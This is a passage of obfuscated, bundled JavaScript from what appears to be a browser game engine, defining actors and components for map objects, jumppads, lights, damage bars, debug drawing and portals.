_0x4d63ef(0xda6), _0x24ba04 = _0x4d63ef(0x1f4f), _0x105227 = _0x4d63ef(0x1832), _0x51d194 = _0x4d63ef(0x2515), _0x38d3cb = _0x4d63ef(0xb35), _0x4a4e21 = _0x4d63ef(0xf18), _0x2831bf = _0x4d63ef(0x2347), _0x579853 = _0x4d63ef(0x16c4), _0x2568d9 = _0x4d63ef(0x1b39), _0x117f01 = { ..._0x2d370b['actorModel'], ..._0x5f244f['damageModel'], ..._0x2b22a4['sensorModel'] }; function _0x3247b4(_0x254b75) { const _0x4d6769 = []; return _0x254b75['mapObjectConfig']['actorTags']['forEach'](_0x13c46a => { (0x0, _0x105227['validateTag'])(_0x13c46a), _0x4d6769['push'](_0x13c46a); }), _0x4d6769; } _0x12e111['createMapObjectActor'] = function (_0x386787) { const _0x45b011 = [], _0xfcb708 = function (_0x21e1fb) { const _0x28ab16 = []; return (_0x21e1fb['mapObjectConfig']['customComponents'] || [])['forEach'](_0x3b741b => { const _0x53815d = _0x3b741b['componentName'], _0x57a65a = { ..._0x21e1fb, ..._0x3b741b['componentConfig'] }; try { _0x28ab16['push']((0x0, _0x2517a2['createCustomComponent'])(_0x53815d, { ..._0x57a65a, 'world': _0x21e1fb['world'] })); } catch (_0x5b4483) { } }), _0x28ab16; }(_0x386787), _0x4d9c97 = function (_0x308a12) { const _0xd4d2f4 = [], _0x11c5f5 = _0x308a12['mapObjectConfig']['colliderConfig']; if (!_0x11c5f5) return _0xd4d2f4; const _0x21e272 = _0x38d3cb['PhysicsConfig']['COLLISION_GROUPS'][_0x11c5f5['ownCollisionGroup']]; if (!_0x21e272) throw new Error('Invalid\x20collision\x20group:\x20' + _0x11c5f5['ownCollisionGroup']); const _0x143eea = _0x11c5f5['collidesWithCollisionGroups']['map'](_0x49fa8d => { const _0x19fc61 = _0x38d3cb['PhysicsConfig']['COLLISION_GROUPS'][_0x49fa8d]; if (!_0x19fc61) throw new Error('Invalid\x20collision\x20group:\x20' + _0x49fa8d); return _0x19fc61; }), _0x242db3 = _0x21e272 << 0x10 | _0x143eea['reduce']((_0x5c4d49, _0x415b38) => _0x5c4d49 | _0x415b38, 0x0), _0xea5722 = _0x308a12['useMapObjectDimensionsAndRotation'] ? function (_0x559f49, _0xca102) { const _0x3716fc = 0x2 * _0x4ff896['MAP_ACTOR_TILE_SIZE_PX'] / 0x3, _0x41c18e = _0x559f49['mapObjectBodyConfig'], _0x3cafdf = _0x41c18e['width'] / _0x3716fc, _0x14af19 = _0x41c18e['height'] / _0x3716fc; return _0x36a037['default']['ColliderDesc']['cuboid'](_0x3cafdf, _0x14af19); }(_0x308a12) : function (_0x549dcd, _0x18bee2) { return _0x36a037['default']['ColliderDesc']['cuboid'](_0x549dcd['colliderDimensions']['hx'], _0x549dcd['colliderDimensions']['hy'])['setMass'](_0x549dcd['mass'] ?? 0x1)['setCollisionGroups'](_0x18bee2); }(_0x11c5f5, _0x242db3), _0x413c06 = new _0xef1f63['RigidBodyComponent']({ 'world': _0x308a12['world'], 'bodyDesc': _0x11c5f5['isFixed'] ? _0x36a037['default']['RigidBodyDesc']['fixed']() : _0x36a037['default']['RigidBodyDesc']['dynamic'](), 'sensorsEmitCollisionEvents': !0x0, 'collidersDesc': { 'body': _0xea5722['setMass'](_0x11c5f5['mass'] ?? 0x1)['setCollisionGroups'](_0x242db3) }, 'sensorsDesc': { 'body': _0xea5722['setSensor'](!0x0)['setCollisionGroups'](_0x242db3) }, 'position': _0x308a12['initialPosition'], 'rotation': _0x308a12['initialDirection'], 'useRotation': !0x0 }); return _0x308a12['useMapObjectDimensionsAndRotation'] && _0x413c06['get']()['setRotation']((0x0, _0x2568d9['degToRad'])(_0x308a12['mapObjectBodyConfig']['rotation']), !0x1), (_0xd4d2f4['push'](_0x413c06), _0xd4d2f4); }(_0x386787); _0x45b011['push'](...function (_0x52e449) { const _0x514a83 = [], _0x214f8a = _0x52e449['mapObjectConfig']['renderConfig']; if (!_0x214f8a) return _0x514a83; switch (_0x214f8a['name']) { case 'animatedSprite': _0x514a83['push'](new _0x22f99f['AnimatedSpriteRenderComponent']({ 'animationName': _0x214f8a['animationName'], 'affectedByLight': !0x0, 'disableCulling': !0x0, 'controllers': [new _0x24ba04['MapObjectSpriteController']({ 'hideOnSceneEvent': _0x52e449['hideOnSceneEvent'], 'showOnSceneEvent': _0x52e449['showOnSceneEvent'], 'startsVisible': _0x52e449['startsVisible'], 'mapObjectBodyConfig': _0x52e449['mapObjectBodyConfig'], 'useMapObjectDimensionsAndRotation': _0x52e449['useMapObjectDimensionsAndRotation'] })], 'autoPlay': !0x0 })), _0x214f8a['animationLightName'] && _0x514a83['push'](new _0x22f99f['AnimatedSpriteRenderComponent']({ 'animationName': _0x214f8a['animationLightName'], 'affectedByLight': !0x1, 'disableCulling': !0x0, 'controllers': [new _0x24ba04['MapObjectSpriteController']({ 'hideOnSceneEvent': _0x52e449['hideOnSceneEvent'], 'showOnSceneEvent': _0x52e449['showOnSceneEvent'], 'startsVisible': _0x52e449['startsVisible'], 'mapObjectBodyConfig': _0x52e449['mapObjectBodyConfig'], 'useMapObjectDimensionsAndRotation': _0x52e449['useMapObjectDimensionsAndRotation'] })], 'autoPlay': !0x0 })); break; case 'spine': throw new Error('Spine\x20render\x20component\x20for\x20Map\x20Object\x20Actors\x20is\x20not\x20implemented'); }return _0x514a83; }(_0x386787)), _0x45b011['push'](..._0x4d9c97), _0x45b011['push'](...function (_0x1be1b8) { const _0x20bdd5 = [], _0x414a57 = _0x1be1b8['mapObjectConfig']['damageConfig']; return _0x414a57 ? (_0x20bdd5['push'](new _0x34bf5b['DamageComponent']({ 'hp': _0x414a57['hp'], 'maxHp': _0x414a57['hp'], 'removeActorOnDestruction': !0x0, 'controllers': [new _0xdfd544['DamageSourceProjectileController']({ 'world': _0x1be1b8['world'] }), new _0x47699f['DamageSourceDamagingGroundController']({ 'world': _0x1be1b8['world'] }), new _0x404f11['DamageSideEffectController']({ 'world': _0x1be1b8['world'], 'flashOnHit': _0x414a57['flashOnHit'], 'flashOnDestroy': _0x414a57['flashOnDestroy'], 'screenShakeOnHit': _0x414a57['screenShakeOnHit'], 'screenShakeOnDestroy': _0x414a57['screenShakeOnDestroy'], 'chunksOnHit': _0x414a57['chunksOnHit'], 'chunksOnDestroy': _0x414a57['chunksOnDestroy'], 'explosionOnDestroy': _0x414a57['explosionOnDestroy'], 'particlesOnHit': _0x414a57['particlesOnHit'], 'particlesOnDestroy': _0x414a57['particlesOnDestroy'], 'dropOnHit': _0x414a57['dropOnHit'], 'dropOnDestroy': _0x414a57['dropOnDestroy'] })] })), _0x20bdd5) : _0x20bdd5; }(_0x386787)), _0x45b011['push'](...function (_0xf865ef) { const _0x1efda3 = [], _0x33a352 = _0xf865ef['mapObjectConfig']['damageConfig'], _0x49c966 = _0xf865ef['mapObjectConfig']['colliderConfig']; if (!_0x33a352) return _0x1efda3; if (!_0x49c966) return _0x1efda3; const _0x43424d = 0.15, _0x2daad5 = 0x5, _0x413fe3 = -0x32, _0x29e818 = 0x2 * _0x49c966['colliderDimensions']['hx'] * 0x64, _0x4b0492 = _0x49c966['colliderDimensions']['hy'], _0xf9d718 = _0x43424d * _0x29e818 / _0x33a352['hp'], _0x34b607 = _0xf865ef['mapObjectConfig']['actorTags'], _0x1fdde1 = _0x34b607['includes'](_0x105227['EActorTag']['ENEMY']) || _0x34b607['includes'](_0x105227['EActorTag']['ENEMY_OBJECTIVE']); return _0x1efda3['push'](new _0x51d194['ContinuousBarRenderComponent']({ 'maxValue': _0x33a352['hp'], 'name': 'actor_hp', 'initialPosition': { 'x': _0x2daad5, 'y': -(0x0, _0x2831bf['physicsScalar2RenderScalar'])(_0x4b0492) + _0x413fe3 }, 'configPath': { 'value': 'ui_bars_icons/HUD_bar_short_on_open', 'background': 'ui_bars_icons/HUD_bar_short_off_open', 'ending': 'ui_bars_icons/HUD_bar_side' }, 'barOrigin': 'center', 'attachToActor': !0x0, 'iconConfigPath': 'ui_bars_icons/health_icon', 'iconOffset': { 'x': -0x37, 'y': 0x0 }, 'scaleX': _0xf9d718, 'scaleY': _0x43424d, 'controllers': [new _0x18290c['DamageUiBarController']()], 'depth': _0x4a4e21['LAYER_DEPTHS']['UI_HUD'], 'depthAdd': _0x4a4e21['LAYER_DEPTHS']['UI_HUD'] + 0x1, 'tint': _0x1fdde1 ? _0x579853['ENEMY_TEAM_TINT'] : _0x579853['PLAYER_TEAM_TINT'] })), _0x1efda3; }(_0x386787)), _0x45b011['push'](new _0x1dbc3f['ActorUiComponent']({ 'uiIconPath': _0x386787['mapObjectConfig']['uiIconPath'] || '' })), _0x45b011['push'](..._0xfcb708); const _0x2c30ba = new _0x76f5ef['Actor']({ ..._0x386787, 'tags': [_0x105227['EActorTag']['MAP_OBJECT'], ..._0x3247b4(_0x386787)], 'name': 'MapObject|' + _0x386787['mapObjectConfig']['name'], 'model': _0x117f01, 'components': _0x45b011 }); return function (_0x456575, _0x2283c3, _0x7eab69) { const _0x283e52 = _0x2283c3[0x0]?.['get'](); if (!_0x283e52) return; const _0x5aa5c9 = _0x456575['mapObjectConfig']['colliderConfig']; if (!_0x5aa5c9) return; _0x283e52['setGravityScale'](_0x5aa5c9['gravityScale'] ?? 0x1, !0x1), _0x283e52['userData']['customInfo'] = _0x456575['mapObjectConfig'], _0x2283c3['forEach'](_0x26d18d => { _0x26d18d['get']()['userData'] = { 'actor': _0x7eab69, 'customInfo': {} }; }); }(_0x386787, _0x4d9c97, _0x2c30ba), _0x2c30ba; }; }, 0x1f4f: (_0xa07e33, _0x58d754, _0x58ca94) => { 'use strict'; Object['defineProperty'](_0x58d754, '__esModule', { 'value': !0x0 }), _0x58d754['MapObjectSpriteController'] = void 0x0; const _0x42a1d0 = _0x58ca94(0x1520), _0x490633 = _0x58ca94(0x1b39); class _0x423d33 extends _0x42a1d0['ComponentController']{ constructor(_0x13f8e6) { super(_0x13f8e6); } ['postInit']() { if (this['config']['hideOnSceneEvent'] && this['sceneMessageBus']['subscribe'](this, this['config']['hideOnSceneEvent'], () => this['component']['get']()['setAlpha'](0x0)), this['config']['showOnSceneEvent'] && this['sceneMessageBus']['subscribe'](this, this['config']['showOnSceneEvent'], () => this['component']['get']()['setAlpha'](0x1)), this['config']['mapObjectBodyConfig'] && this['config']['useMapObjectDimensionsAndRotation']) { const _0x30f75f = this['config']['mapObjectBodyConfig'], _0x33e9c9 = _0x30f75f['width'], _0x237d9c = _0x30f75f['height']; this['component']['get']()['setDisplaySize'](_0x33e9c9, _0x237d9c); const _0x27465c = (0x0, _0x490633['degToRad'])(this['config']['mapObjectBodyConfig']['rotation']); this['component']['get']()['setRotation'](_0x27465c); const _0x13407e = _0x27465c, _0x3437b8 = _0x237d9c / 0x2 * Math['cos'](_0x13407e), _0x5393d3 = -_0x237d9c / 0x2 * Math['sin'](_0x13407e), _0x592cbe = this['component']['get']()['x'], _0x86cea2 = this['component']['get']()['y']; this['component']['get']()['setPosition'](_0x592cbe + _0x5393d3, _0x86cea2 + _0x3437b8); } this['component']['get']()['setAlpha'](this['config']['startsVisible'] ? 0x1 : 0x0); } } _0x58d754['MapObjectSpriteController'] = _0x423d33; }, 0x248d: (_0xe9a328, _0xa785d5) => { 'use strict'; Object['defineProperty'](_0xa785d5, '__esModule', { 'value': !0x0 }), _0xa785d5['remoteReceiverModel'] = _0xa785d5['EOnOff'] = void 0x0, function (_0x590abd) { _0x590abd['OFF'] = 'OFF', _0x590abd['ON'] = 'ON'; }(_0xa785d5['EOnOff'] || (_0xa785d5['EOnOff'] = {})), _0xa785d5['remoteReceiverModel'] = { 'remotes': {} }; }, 0x1f88: function (_0x3672c7, _0x1a512f, _0xce3e94) { 'use strict'; var _0x26a7d4 = this && this['__createBinding'] || (Object['create'] ? function (_0x529230, _0x1180e9, _0x4f94d3, _0xcc43a1) { void 0x0 === _0xcc43a1 && (_0xcc43a1 = _0x4f94d3); var _0xd08e5e = Object['getOwnPropertyDescriptor'](_0x1180e9, _0x4f94d3); _0xd08e5e && !('get' in _0xd08e5e ? !_0x1180e9['__esModule'] : _0xd08e5e['writable'] || _0xd08e5e['configurable']) || (_0xd08e5e = { 'enumerable': !0x0, 'get': function () { return _0x1180e9[_0x4f94d3]; } }), Object['defineProperty'](_0x529230, _0xcc43a1, _0xd08e5e); } : function (_0x305fef, _0x523aa8, _0x467991, _0x3adbf0) { void 0x0 === _0x3adbf0 && (_0x3adbf0 = _0x467991), _0x305fef[_0x3adbf0] = _0x523aa8[_0x467991]; }), _0x309e54 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x5167a0, _0x3d816c) { Object['defineProperty'](_0x5167a0, 'default', { 'enumerable': !0x0, 'value': _0x3d816c }); } : function (_0x4d7528, _0x14dc3c) { _0x4d7528['default'] = _0x14dc3c; }), _0x412eff = this && this['__importStar'] || function (_0x50df64) { if (_0x50df64 && _0x50df64['__esModule']) return _0x50df64; var _0x5507ff = {}; if (null != _0x50df64) { for (var _0x54b93c in _0x50df64) 'default' !== _0x54b93c && Object['prototype']['hasOwnProperty']['call'](_0x50df64, _0x54b93c) && _0x26a7d4(_0x5507ff, _0x50df64, _0x54b93c); } return _0x309e54(_0x5507ff, _0x50df64), _0x5507ff; }; Object['defineProperty'](_0x1a512f, '__esModule', { 'value': !0x0 }), _0x1a512f['RemoteSignalComponent'] = _0x1a512f['TRemoteSignalComponentConfig'] = void 0x0; const _0x481ffe = _0xce3e94(0x2414), _0xbdcf5c = _0xce3e94(0x248d), _0x31c972 = _0x412eff(_0xce3e94(0x22f3)), _0x317434 = _0xce3e94(0x512); _0x1a512f['TRemoteSignalComponentConfig'] = _0x31c972['intersection']([_0x31c972['type']({ 'initialState': _0x31c972['union']([_0x31c972['literal']('ON'), _0x31c972['literal']('OFF')]), 'turnOffOnDestroyed': _0x31c972['boolean'] }), _0x31c972['partial']({ 'targetActorNamedId': _0x31c972['string'] })]); class _0x4c97bf extends _0x481ffe['ActorComponent']{ constructor(_0x16d46a) { super(_0x16d46a); } ['init']() { if (!this['config']['targetActorNamedId']) throw new _0x317434['InvalidArgumentError']('To\x20register\x20a\x20remote\x20signaller,\x20targetActorNamedID\x20must\x20be\x20supplied.\x20Config\x20given:\x20' + this['config']); this['sceneMessageBus']['publish']('registerRemote', { 'remoteActorId': this['actor']['id'], 'targetActorNamedId': this['config']['targetActorNamedId'], 'initialState': this['config']['initialState'] }); } ['destroy']() { this['sceneMessageBus']['publish']('updateRemoteSignallerState', { 'remoteActorId': this['actor']['id'], 'state': _0xbdcf5c['EOnOff']['OFF'] }); } } _0x1a512f['RemoteSignalComponent'] = _0x4c97bf; }, 0x12e: function (_0x904383, _0x187cab, _0x17471f) { 'use strict'; var _0x76042 = this && this['__createBinding'] || (Object['create'] ? function (_0xad68cb, _0x315cff, _0x2b807d, _0x32d081) { void 0x0 === _0x32d081 && (_0x32d081 = _0x2b807d); var _0xebea2f = Object['getOwnPropertyDescriptor'](_0x315cff, _0x2b807d); _0xebea2f && !('get' in _0xebea2f ? !_0x315cff['__esModule'] : _0xebea2f['writable'] || _0xebea2f['configurable']) || (_0xebea2f = { 'enumerable': !0x0, 'get': function () { return _0x315cff[_0x2b807d]; } }), Object['defineProperty'](_0xad68cb, _0x32d081, _0xebea2f); } : function (_0x5735cf, _0x136722, _0x54ab61, _0x478842) { void 0x0 === _0x478842 && (_0x478842 = _0x54ab61), _0x5735cf[_0x478842] = _0x136722[_0x54ab61]; }), _0x41aef2 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x29fd79, _0x61e994) { Object['defineProperty'](_0x29fd79, 'default', { 'enumerable': !0x0, 'value': _0x61e994 }); } : function (_0x13b5b0, _0x7aad7d) { _0x13b5b0['default'] = _0x7aad7d; }), _0x373014 = this && this['__importStar'] || function (_0x1a0250) { if (_0x1a0250 && _0x1a0250['__esModule']) return _0x1a0250; var _0x459e03 = {}; if (null != _0x1a0250) { for (var _0x333078 in _0x1a0250) 'default' !== _0x333078 && Object['prototype']['hasOwnProperty']['call'](_0x1a0250, _0x333078) && _0x76042(_0x459e03, _0x1a0250, _0x333078); } return _0x41aef2(_0x459e03, _0x1a0250), _0x459e03; }; Object['defineProperty'](_0x187cab, '__esModule', { 'value': !0x0 }), _0x187cab['WarningAtDamageComponent'] = _0x187cab['TWarningAtDamageComponentConfig'] = void 0x0; const _0x2c8ba2 = _0x17471f(0x2414), _0x2403ca = _0x373014(_0x17471f(0x22f3)); _0x187cab['TWarningAtDamageComponentConfig'] = _0x2403ca['intersection']([_0x2403ca['type']({ 'warningSoundName': _0x2403ca['string'], 'timeBetweenWarningsMS': _0x2403ca['number'] }), _0x2403ca['partial']({ 'objectiveName': _0x2403ca['string'] })]); class _0x5b89d4 extends _0x2c8ba2['ActorComponent']{ constructor(_0x2a0790) { super(_0x2a0790); } ['lastDamageTimeMS'] = 0x0;['init']() { this['store']['subscribe']('hp', ({ oldValue: _0x504893, newValue: _0x2697d0 }) => { if (_0x504893 > _0x2697d0 && this['lastDamageTimeMS'] <= 0x0) { this['lastDamageTimeMS'] = this['config']['timeBetweenWarningsMS']; const _0x24115c = this['config']['objectiveName']?.['split']('\x20')[0x1], _0x5bc4a4 = parseInt(_0x24115c || ''); this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': this['config']['warningSoundName'], 'parameters': [{ 'name': 'Parameter\x201', 'value': _0x5bc4a4 }] } }); } }); } } _0x187cab['WarningAtDamageComponent'] = _0x5b89d4; }, 0xb5c: function (_0x1c695b, _0x1de0c4, _0x542314) { 'use strict'; var _0xea35e0 = this && this['__importDefault'] || function (_0x11d74b) { return _0x11d74b && _0x11d74b['__esModule'] ? _0x11d74b : { 'default': _0x11d74b }; }; Object['defineProperty'](_0x1de0c4, '__esModule', { 'value': !0x0 }), _0x1de0c4['createJumppadActor'] = void 0x0; const _0x556a86 = _0xea35e0(_0x542314(0x9a8)), _0x8d8d3e = _0x542314(0x25fa), _0x32d7df = _0x542314(0x942), _0x143fce = _0x542314(0xb35), _0x7bcf26 = _0x542314(0x1832), _0x480de8 = _0x542314(0xd2e), _0x59a7a5 = _0x542314(0x71f), _0x513366 = _0x542314(0x2228), _0x39babe = _0x542314(0xf18), _0x261d77 = _0x542314(0x13e1), _0x43a04b = _0x542314(0x1932), _0x27ae08 = { ..._0x480de8['actorModel'], ..._0x43a04b['sensorModel'], ..._0x261d77['movementModel'] }; function _0x9a38ed(_0x578bf4) { switch (_0x578bf4['jumppadRenderConfig']['renderConfig']['name']) { case 'animatedSprite': return new _0x513366['AnimatedSpriteRenderComponent']({ 'animationName': _0x578bf4['jumppadRenderConfig']['renderConfig']['animationName'], 'controllers': [] }); case 'spine': return new _0x59a7a5['SpineRenderComponent']({ 'spineAssetName': _0x578bf4['jumppadRenderConfig']['renderConfig']['spineAssetName'], 'animationName': 'Loop', 'loop': !0x0, 'scale': _0x578bf4['jumppadRenderConfig']['renderConfig']['scale'], 'tint': parseInt(_0x578bf4['jumppadRenderConfig']['renderConfig']['tint'] || '0xffffff', 0x10), 'offsetPosition': _0x578bf4['jumppadRenderConfig']['renderConfig']['offsetPosition'], 'layerDepth': _0x39babe['LAYER_DEPTHS']['BACKGROUND'] + 0x1 }); } } _0x1de0c4['createJumppadActor'] = function (_0x319247) { const _0x3cad1d = function (_0x360770) { const _0x4a9fe4 = new _0x32d7df['RigidBodyComponent']({ 'world': _0x360770['world'], 'bodyDesc': _0x556a86['default']['RigidBodyDesc']['dynamic'](), 'sensorsEmitCollisionEvents': !0x0, 'collidersDesc': { 'body': _0x556a86['default']['ColliderDesc']['ball'](0x0)['setCollisionGroups'](_0x143fce['PhysicsConfig']['COLLISION_GROUPS']['OTHER'] << 0x10) }, 'sensorsDesc': { 'body': _0x556a86['default']['ColliderDesc']['ball'](0x2)['setCollisionGroups'](_0x143fce['PhysicsConfig']['COLLISION_GROUPS']['OTHER'] << 0x10 | _0x143fce['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] | _0x143fce['PhysicsConfig']['COLLISION_GROUPS']['ENEMY']) }, 'position': _0x360770['initialPosition'], 'rotation': _0x360770['initialDirection'], 'useRotation': !0x0 }); return _0x4a9fe4; }(_0x319247), _0x3322b2 = new _0x8d8d3e['Actor']({ ..._0x319247, 'tags': [_0x7bcf26['EActorTag']['MAP_OBJECT']], 'name': 'Jumppad', 'model': _0x27ae08, 'components': [_0x9a38ed(_0x319247), _0x3cad1d] }), _0x5659d9 = _0x3cad1d['get'](); return _0x5659d9['setGravityScale'](0x0, !0x1), _0x5659d9['userData']['customInfo'] = _0x319247['jumppadConfig'], _0x3322b2; }; }, 0x5d9: (_0x4d0815, _0x45f7e2, _0x477222) => { 'use strict'; Object['defineProperty'](_0x45f7e2, '__esModule', { 'value': !0x0 }), _0x45f7e2['MapDebugRenderComponent'] = void 0x0; const _0xa52cbe = _0x477222(0x2414), _0x8201a0 = _0x477222(0x1f74), _0x1c24c8 = _0x477222(0x2347); class _0xcf6ba8 extends _0xa52cbe['ActorComponent']{ constructor(_0x202e5f) { super(_0x202e5f); } ['init']() { this['gameMessageBus']['subscribe'](this, 'debugUpdate', this['renderDebugData']['bind'](this)); } ['renderDebugData']() { if (!localStorage['getItem']('render_debug')) return; const _0x454e75 = this['gameContext']['getDebugGraphics'](); if (!_0x454e75) return; const _0x4335f3 = this['store']['get']('lookDirection'), _0x5e4d0e = { 'x': (0x0, _0x1c24c8['physicsScalar2RenderScalar'])(this['actor']['getConfig']()['initialPosition']?.['x'] ?? 0x0), 'y': (0x0, _0x1c24c8['physicsScalar2RenderScalar'])(this['actor']['getConfig']()['initialPosition']?.['y'] ?? 0x0) }; switch (this['config']['drawType']['type']) { case 'arrow': { const _0x194b6b = this['config']['drawType']['useLookDirection'] ? _0x4335f3 : this['config']['drawType']['angle'] || 0x0; (0x0, _0x8201a0['drawArrow'])(_0x454e75, _0x5e4d0e['x'], _0x5e4d0e['y'], _0x194b6b, this['config']['drawType']['length'], this['config']['drawType']['color']); break; } case 'cross': (0x0, _0x8201a0['drawCross'])(_0x454e75, _0x5e4d0e['x'], _0x5e4d0e['y'], this['config']['drawType']['size'], this['config']['drawType']['color']); break; case 'circle': (0x0, _0x8201a0['drawEmptyCircle'])(_0x454e75, _0x5e4d0e['x'], _0x5e4d0e['y'], this['config']['drawType']['radius'], this['config']['drawType']['color']); } } } _0x45f7e2['MapDebugRenderComponent'] = _0xcf6ba8; }, 0x39e: (_0x3511c9, _0x5bd86e, _0xfa879c) => { 'use strict'; Object['defineProperty'](_0x5bd86e, '__esModule', { 'value': !0x0 }), _0x5bd86e['createMapLightActor'] = void 0x0; const _0xf639c2 = _0xfa879c(0x25fa), _0x2b3887 = _0xfa879c(0xd2e), _0x57398e = _0xfa879c(0x18c1), _0x494f21 = _0xfa879c(0x7bf), _0x261f9f = _0xfa879c(0x6a9), _0x50edcf = _0xfa879c(0x5d9), _0xaa1261 = _0xfa879c(0xd68), _0x46db43 = _0xfa879c(0x1832), _0xa6d738 = _0xfa879c(0xb35); _0x5bd86e['createMapLightActor'] = function (_0x517423) { return new _0xf639c2['Actor']({ ..._0x517423, 'name': 'Other_MapLight', 'tags': [_0x46db43['EActorTag']['OTHER']], 'model': { ..._0x2b3887['actorModel'], ..._0x261f9f['bossStateModel'], ..._0x57398e['lightModel'] }, 'components': [new _0x494f21['LightRenderComponent']({ ..._0x517423, 'controllers': [new _0xaa1261['MapLightController']({ 'lightRenderConfig': _0x517423 })] }), new _0x50edcf['MapDebugRenderComponent']({ 'drawType': { 'type': 'circle', 'radius': _0xa6d738['PhysicsConfig']['TILE_SIZE'] / 0x2, 'color': 0xffffff } }), new _0x50edcf['MapDebugRenderComponent']({ 'drawType': { 'type': 'circle', 'radius': (0x1 + 0.5 * _0x517423['intensity']) * _0xa6d738['PhysicsConfig']['TILE_SIZE'], 'color': parseInt(_0x517423['color'], 0x10) } })] }); }; }, 0xd68: (_0x3b2d0c, _0x3ac31e, _0x3dc705) => { 'use strict'; Object['defineProperty'](_0x3ac31e, '__esModule', { 'value': !0x0 }), _0x3ac31e['MapLightController'] = void 0x0; const _0x28f02d = _0x3dc705(0x1520); class _0x2229d1 extends _0x28f02d['ComponentController']{ constructor(_0x51687a) { super(_0x51687a); } ['postInit']() { !0x1 === this['config']['lightRenderConfig']['startsOn'] && this['component']['disable'](); const _0xa2279d = this['config']['lightRenderConfig']['enablesOnSceneMessage'], _0x24d8da = _0xa2279d?.['split'](',')['map'](_0x35e7c9 => _0x35e7c9['trim']())['filter'](Boolean); _0x24d8da?.['forEach'](_0x303e4b => { this['sceneMessageBus']['subscribe'](this, _0x303e4b, () => this['component']['enable']()); }); const _0x3d40d9 = this['config']['lightRenderConfig']['disablesOnSceneMessage'], _0x117bb2 = _0x3d40d9?.['split'](',')['map'](_0x1fcfa7 => _0x1fcfa7['trim']())['filter'](Boolean); _0x117bb2?.['forEach'](_0x1a6887 => { this['sceneMessageBus']['subscribe'](this, _0x1a6887, () => this['component']['disable']()); }), this['sceneMessageBus']['subscribe'](this, 'requestLightChange', _0x2feac0 => this['onRequestLightChange'](_0x2feac0)); } ['onRequestLightChange'](_0x111e97) { _0x111e97['namedId'] === this['component']['config']['namedId'] && (_0x111e97['intensity'] && this['component']['changeIntensity'](_0x111e97['intensity']), _0x111e97['color'] && this['component']['changeColor'](_0x111e97['color'])); } } _0x3ac31e['MapLightController'] = _0x2229d1; }, 0x1d68: (_0x20f6fd, _0x39c28c, _0x50b286) => { 'use strict'; Object['defineProperty'](_0x39c28c, '__esModule', { 'value': !0x0 }), _0x39c28c['createMapUtilityActor'] = void 0x0; const _0x5759c3 = _0x50b286(0x25fa), _0x455dbb = _0x50b286(0xd2e), _0x1757d9 = _0x50b286(0x1c38), _0x3214d2 = _0x50b286(0x1832); _0x39c28c['createMapUtilityActor'] = function (_0x5ba7fc) { return new _0x5759c3['Actor']({ ..._0x5ba7fc, 'name': 'Other_MapUtility', 'tags': [_0x3214d2['EActorTag']['OTHER']], 'model': { ..._0x455dbb['actorModel'] }, 'components': [new _0x1757d9['MapUtilityActorComponent']()] }); }; }, 0x202e: function (_0x1e788d, _0x21fb02, _0x11db11) { 'use strict'; var _0x2bec1a = this && this['__createBinding'] || (Object['create'] ? function (_0x5a6f4c, _0x5a8fae, _0x49c66d, _0x3307f8) { void 0x0 === _0x3307f8 && (_0x3307f8 = _0x49c66d); var _0x5dc3d3 = Object['getOwnPropertyDescriptor'](_0x5a8fae, _0x49c66d); _0x5dc3d3 && !('get' in _0x5dc3d3 ? !_0x5a8fae['__esModule'] : _0x5dc3d3['writable'] || _0x5dc3d3['configurable']) || (_0x5dc3d3 = { 'enumerable': !0x0, 'get': function () { return _0x5a8fae[_0x49c66d]; } }), Object['defineProperty'](_0x5a6f4c, _0x3307f8, _0x5dc3d3); } : function (_0x1363c5, _0x1f92ff, _0x9f368e, _0x25e75f) { void 0x0 === _0x25e75f && (_0x25e75f = _0x9f368e), _0x1363c5[_0x25e75f] = _0x1f92ff[_0x9f368e]; }), _0xe5ecac = this && this['__setModuleDefault'] || (Object['create'] ? function (_0xaa4e09, _0x5466d7) { Object['defineProperty'](_0xaa4e09, 'default', { 'enumerable': !0x0, 'value': _0x5466d7 }); } : function (_0x2e326d, _0xf615f4) { _0x2e326d['default'] = _0xf615f4; }), _0x14f65f = this && this['__importStar'] || function (_0x38ca4c) { if (_0x38ca4c && _0x38ca4c['__esModule']) return _0x38ca4c; var _0x11cb3a = {}; if (null != _0x38ca4c) { for (var _0xe6e91d in _0x38ca4c) 'default' !== _0xe6e91d && Object['prototype']['hasOwnProperty']['call'](_0x38ca4c, _0xe6e91d) && _0x2bec1a(_0x11cb3a, _0x38ca4c, _0xe6e91d); } return _0xe5ecac(_0x11cb3a, _0x38ca4c), _0x11cb3a; }, _0xe4fac3 = this && this['__importDefault'] || function (_0x39665c) { return _0x39665c && _0x39665c['__esModule'] ? _0x39665c : { 'default': _0x39665c }; }; Object['defineProperty'](_0x21fb02, '__esModule', { 'value': !0x0 }), _0x21fb02['createPortalActor'] = _0x21fb02['TPortalConfig'] = _0x21fb02['TPortalSummoningConfig'] = void 0x0; const _0x1b8a2a = _0xe4fac3(_0x11db11(0x9a8)), _0x101121 = _0x11db11(0x25fa), _0x1545ee = _0x11db11(0x942), _0x92f037 = _0x11db11(0xb35), _0x42a92c = _0x11db11(0x1832), _0x1c3716 = _0x11db11(0xd2e), _0x1a4364 = _0x11db11(0x71f), _0xf1dad9 = _0x11db11(0x2228), _0x33f5a5 = _0x11db11(0xf18), _0x4534a1 = _0x11db11(0x16ae), _0x28734 = _0x11db11(0x13e1), _0x392c1e = _0x11db11(0x1932), _0x65f31e = _0x11db11(0x1875), _0x5d66ce = _0x11db11(0x243b), _0x3727ef = _0x11db11(0x1892), _0x5a229f = _0x11db11(0x173b), _0x3cd71c = _0x11db11(0x1dcc), _0x488d05 = _0x11db11(0x157f), _0x116e76 = _0x11db11(0x1a51), _0x4bcfd3 = _0x11db11(0x1101), _0x40688f = _0x11db11(0x1371), _0x16d8a5 = _0x11db11(0x1ae2), _0x317789 = _0x11db11(0x1a57), _0x275ec6 = _0x11db11(0x229c), _0x2134ab = _0x11db11(0x18b9), _0x4ed0b9 = _0x11db11(0xcaa), _0x47b143 = _0x11db11(0x1b38), _0x378d1e = _0x11db11(0x2dd), _0x38b09b = _0x11db11(0x6), _0x2f7cce = _0x11db11(0x14e9), _0x541414 = _0x11db11(0x276), _0x1d9efa = _0x11db11(0x56b), _0x59c007 = _0x11db11(0xa1), _0x317609 = _0x11db11(0x213e), _0x46d66a = _0x11db11(0x74f), _0x111868 = _0x11db11(0x2375), _0x556003 = _0x11db11(0x221b), _0xad720e = 